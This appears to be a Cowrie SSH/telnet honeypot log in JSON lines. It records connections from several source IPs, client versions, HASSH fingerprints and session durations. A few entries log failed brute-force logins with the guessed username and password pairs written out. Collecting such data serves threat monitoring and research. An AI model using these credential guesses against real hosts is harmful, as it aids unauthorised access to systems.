{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53490,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e4b7a4a256","protocol":"telnet","message":"New connection: 45.148.121.166:53490 (159.203.135.109:23) [session: 65e4b7a4a256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:54.663397Z"}
{"eventid":"cowrie.session.closed","duration":31.145757913589478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:18:57.660582Z","src_ip":"45.148.121.166","session":"731d727a614d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913735151290894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:01.125509Z","src_ip":"45.148.121.166","session":"f522b7048a4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":53492,"dst_ip":"159.203.135.109","dst_port":23,"session":"e54173cf125e","protocol":"telnet","message":"New connection: 45.148.121.166:53492 (159.203.135.109:23) [session: e54173cf125e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:02.993193Z"}
{"eventid":"cowrie.session.closed","duration":36.23027777671814,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:03.759041Z","src_ip":"128.199.8.54","session":"111753eba9fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89969778060913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:04.783378Z","src_ip":"128.199.8.54","session":"da725bc5ea95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182373523712158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:09.426057Z","src_ip":"45.148.121.166","session":"eb71acc26b51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35836,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc6088e912c5","protocol":"telnet","message":"New connection: 45.148.121.166:35836 (159.203.135.109:23) [session: fc6088e912c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:09.775448Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":53644,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5bf4c41dd86","protocol":"ssh","message":"New connection: 31.57.216.16:53644 (159.203.135.109:22) [session: c5bf4c41dd86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:10.466256Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:10.471136Z","src_ip":"31.57.216.16","session":"c5bf4c41dd86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.16","src_port":53646,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c1839e7c5a9","protocol":"ssh","message":"New connection: 31.57.216.16:53646 (159.203.135.109:22) [session: 8c1839e7c5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:10.615265Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:10.619917Z","src_ip":"31.57.216.16","session":"8c1839e7c5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:10.722640Z","src_ip":"31.57.216.16","session":"8c1839e7c5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc@123456","message":"login attempt [root/Abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:11.074098Z","src_ip":"31.57.216.16","session":"8c1839e7c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:12.221484Z","src_ip":"31.57.216.16","session":"8c1839e7c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":52236,"dst_ip":"159.203.135.109","dst_port":23,"session":"52cca7293b32","protocol":"telnet","message":"New connection: 45.148.121.166:52236 (159.203.135.109:23) [session: 52cca7293b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:15.521589Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45356,"dst_ip":"159.203.135.109","dst_port":23,"session":"a4c0cd7610e5","protocol":"telnet","message":"New connection: 128.199.8.54:45356 (159.203.135.109:23) [session: a4c0cd7610e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:15.846145Z"}
{"eventid":"cowrie.session.closed","duration":34.07095217704773,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:17.091035Z","src_ip":"128.199.8.54","session":"419b73b0578b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.806458473205566,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:25.059679Z","src_ip":"128.199.8.54","session":"5ba5565a3b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.342767238616943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:26.006032Z","src_ip":"45.148.121.166","session":"65e4b7a4a256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33948,"dst_ip":"159.203.135.109","dst_port":23,"session":"5932be1c791e","protocol":"telnet","message":"New connection: 45.148.121.166:33948 (159.203.135.109:23) [session: 5932be1c791e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:26.181931Z"}
{"eventid":"cowrie.session.closed","duration":36.19419026374817,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:26.900227Z","src_ip":"128.199.8.54","session":"e0b9186fef0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":33962,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dda9c559354","protocol":"telnet","message":"New connection: 45.148.121.166:33962 (159.203.135.109:23) [session: 4dda9c559354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:32.432975Z"}
{"eventid":"cowrie.session.closed","duration":31.534987926483154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:34.527921Z","src_ip":"45.148.121.166","session":"e54173cf125e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33850,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddead87b2297","protocol":"telnet","message":"New connection: 128.199.8.54:33850 (159.203.135.109:23) [session: ddead87b2297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:36.910554Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":34868,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d3059538d5","protocol":"telnet","message":"New connection: 45.148.121.166:34868 (159.203.135.109:23) [session: 22d3059538d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:39.872617Z"}
{"eventid":"cowrie.session.closed","duration":30.346367835998535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:40.121680Z","src_ip":"45.148.121.166","session":"fc6088e912c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.547295808792114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:46.068754Z","src_ip":"45.148.121.166","session":"52cca7293b32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":34534,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a08ec2a1c37","protocol":"ssh","message":"New connection: 2.57.122.208:34534 (159.203.135.109:22) [session: 7a08ec2a1c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:47.528863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:47.622984Z","src_ip":"2.57.122.208","session":"7a08ec2a1c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:47.819406Z","src_ip":"2.57.122.208","session":"7a08ec2a1c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"4rfv$RFV","message":"login attempt [ubuntu/4rfv$RFV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:48.739928Z","src_ip":"2.57.122.208","session":"7a08ec2a1c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.411967039108276,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:49.257977Z","src_ip":"128.199.8.54","session":"a4c0cd7610e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":50412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d98e192e60d","protocol":"telnet","message":"New connection: 45.148.121.166:50412 (159.203.135.109:23) [session: 5d98e192e60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:49.725459Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:50.060102Z","src_ip":"2.57.122.208","session":"7a08ec2a1c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34846,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ec65f6fc6d0","protocol":"telnet","message":"New connection: 128.199.8.54:34846 (159.203.135.109:23) [session: 3ec65f6fc6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:52.171021Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38720,"dst_ip":"159.203.135.109","dst_port":23,"session":"1735b1728e4b","protocol":"telnet","message":"New connection: 128.199.8.54:38720 (159.203.135.109:23) [session: 1735b1728e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:55.194970Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59452,"dst_ip":"159.203.135.109","dst_port":23,"session":"beba303266b3","protocol":"telnet","message":"New connection: 45.148.121.166:59452 (159.203.135.109:23) [session: beba303266b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:56.625778Z"}
{"eventid":"cowrie.session.closed","duration":31.40411877632141,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:57.585912Z","src_ip":"45.148.121.166","session":"5932be1c791e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":59462,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b96c1321f8a","protocol":"telnet","message":"New connection: 45.148.121.166:59462 (159.203.135.109:23) [session: 1b96c1321f8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:19:59.160321Z"}
{"eventid":"cowrie.session.closed","duration":31.29159641265869,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:03.724645Z","src_ip":"45.148.121.166","session":"4dda9c559354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313976764678955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:10.186509Z","src_ip":"45.148.121.166","session":"22d3059538d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41054129600525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:10.320974Z","src_ip":"128.199.8.54","session":"ddead87b2297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":51576,"dst_ip":"159.203.135.109","dst_port":23,"session":"739caed40792","protocol":"telnet","message":"New connection: 45.148.121.166:51576 (159.203.135.109:23) [session: 739caed40792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:16.315553Z"}
{"eventid":"cowrie.session.closed","duration":30.56998348236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:20.295354Z","src_ip":"45.148.121.166","session":"5d98e192e60d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.52387619018555,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:26.694813Z","src_ip":"128.199.8.54","session":"3ec65f6fc6d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.927000045776367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:27.121860Z","src_ip":"128.199.8.54","session":"1735b1728e4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93910551071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:27.564774Z","src_ip":"45.148.121.166","session":"beba303266b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43619,"dst_ip":"10.17.0.5","dst_port":23,"session":"4950ef1fabd6","protocol":"telnet","message":"New connection: 212.55.149.117:43619 (10.17.0.5:23) [session: 4950ef1fabd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:27.638202Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44640,"dst_ip":"159.203.135.109","dst_port":23,"session":"97e8634fb343","protocol":"telnet","message":"New connection: 128.199.8.54:44640 (159.203.135.109:23) [session: 97e8634fb343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:27.801363Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48346,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d0777bc0d15","protocol":"telnet","message":"New connection: 128.199.8.54:48346 (159.203.135.109:23) [session: 3d0777bc0d15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:29.789950Z"}
{"eventid":"cowrie.session.closed","duration":30.938340425491333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:30.098495Z","src_ip":"45.148.121.166","session":"1b96c1321f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":46364,"dst_ip":"10.17.0.5","dst_port":22,"session":"859f5ae977ec","protocol":"ssh","message":"New connection: 103.15.226.202:46364 (10.17.0.5:22) [session: 859f5ae977ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:32.097540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:32.102147Z","src_ip":"103.15.226.202","session":"859f5ae977ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:32.351679Z","src_ip":"103.15.226.202","session":"859f5ae977ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52630,"dst_ip":"159.203.135.109","dst_port":23,"session":"bee1eb27abe3","protocol":"telnet","message":"New connection: 128.199.8.54:52630 (159.203.135.109:23) [session: bee1eb27abe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:33.101861Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nimda@123","message":"login attempt [root/Nimda@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:33.390487Z","src_ip":"103.15.226.202","session":"859f5ae977ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":32994,"dst_ip":"159.203.135.109","dst_port":23,"session":"870f4c868798","protocol":"telnet","message":"New connection: 45.148.121.166:32994 (159.203.135.109:23) [session: 870f4c868798]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:34.354094Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:34.639592Z","src_ip":"103.15.226.202","session":"859f5ae977ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35492,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a5733139ef","protocol":"telnet","message":"New connection: 45.148.121.166:35492 (159.203.135.109:23) [session: 33a5733139ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:34.966881Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":35502,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5931c3ad7d","protocol":"telnet","message":"New connection: 45.148.121.166:35502 (159.203.135.109:23) [session: fc5931c3ad7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:35.198358Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36608,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0421ceb3adc","protocol":"telnet","message":"New connection: 128.199.8.54:36608 (159.203.135.109:23) [session: a0421ceb3adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:38.204656Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":47927,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fb6aa29b71","protocol":"telnet","message":"New connection: 212.55.149.117:47927 (10.17.0.5:23) [session: 02fb6aa29b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:38.644136Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":55572,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c701a8d42bf","protocol":"ssh","message":"New connection: 122.168.194.41:55572 (159.203.135.109:22) [session: 4c701a8d42bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:40.795118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:20:40.799350Z","src_ip":"122.168.194.41","session":"4c701a8d42bf","protocol":"ssh"}
